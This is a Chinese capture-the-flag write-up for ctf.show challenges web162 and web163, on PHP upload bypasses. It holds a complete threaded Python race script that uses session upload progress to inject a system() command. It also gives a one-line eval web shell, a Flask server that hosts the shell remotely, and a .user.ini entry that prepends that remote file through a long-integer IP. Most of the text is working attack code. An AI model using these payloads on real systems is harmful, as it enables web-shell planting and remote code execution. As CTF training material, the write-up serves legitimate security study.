web162-163笔记(session文件包含+禁用.+远程文件包含)
web162
https://499b3b33-7b83-4f3f-a6be-aceb44a0bf26.challenge.ctf.show/upload/

这次把.给ban了,我们使用session文件包含,又忘记知识点的可以去看web82;还是一样先上传.user.ini ,内容为(目录下存在php文件)
GIF89a
auto_prepend_file=/tmp/sess_mm

接着再运行脚本即可
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/3/8 17:06 # blog: www.wlhhlc.top import io import requests import threading url = 'http://3238a505-5728-4702-b83b-98460ec17f8d.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' } while True: f = io.BytesIO(b'GIF89a\ndotast') files = {'file': ('1.png', f, 'image/png')} response = session.post(url+"upload.php",cookies={'PHPSESSID': 'mm'}, data=data, files=files) def read(session): while True: response = session.get(url+'upload') if 'ctfshow' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()

web163
http://d9f483ab-f6e3-4623-80d5-7e7dbc9f5e8e.challenge.ctf.show/upload/
<?php eval($_POST['cmd']);?> 一句话木马
远程包含 额外过滤了一个点 我用的远程文件包含 前面方式正常传入user.ini 稍作修改 因为点被过滤了,ip的点自然也不能有 所以可以去把ip转换一下成长整型 可以用在线工具 也可以用python脚本: 得到的数字就是了 然后就是怎么让他包含了 这里试了直接起个php项目建一个叫233的一句话木马文件 想让它直接包含调用了 结果发现不行 后来得知是得起个flask服务才行 没有就pip install flask 装一下 所以写一个app.py
记得在同目录下搞一个233文件的一句话木马
<?php eval($_POST['cmd']);?> 然后vps上启动服务 python app.py 然后再改.user.ini为:
GIF89a auto_prepend_file=http://转换出来的长整型ip:5000/233 访问/upload/ 执行命令就行了
#app.py
from flask import Flask, send_file app = Flask(__name__) @app.route('/233') def provide_file(): filename = '233' return send_file(filename) if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)
#iptolong
def ip2long(ip: str) -> int: """Convert an IPv4 address to a 32-bit long integer. Args: ip: IPv4 address in dotted-quad string format (e.g., '192.168.1.1') Returns: The 32-bit long integer representation of the IP address Raises: ValueError: If the input is not a valid IPv4 address """ try: octets = list(map(int, ip.split('.'))) if len(octets) != 4 or any(not 0 <= octet <= 255 for octet in octets): raise ValueError return sum(octet << (8 * (3 - i)) for i, octet in enumerate(octets)) except (ValueError, AttributeError): raise ValueError(f"Invalid IPv4 address: {ip}") # Example usage if __name__ == '__main__': test_ip = '192.168.1.1' print(f"{test_ip} -> {ip2long(test_ip)}")


浙公网安备 33010602011771号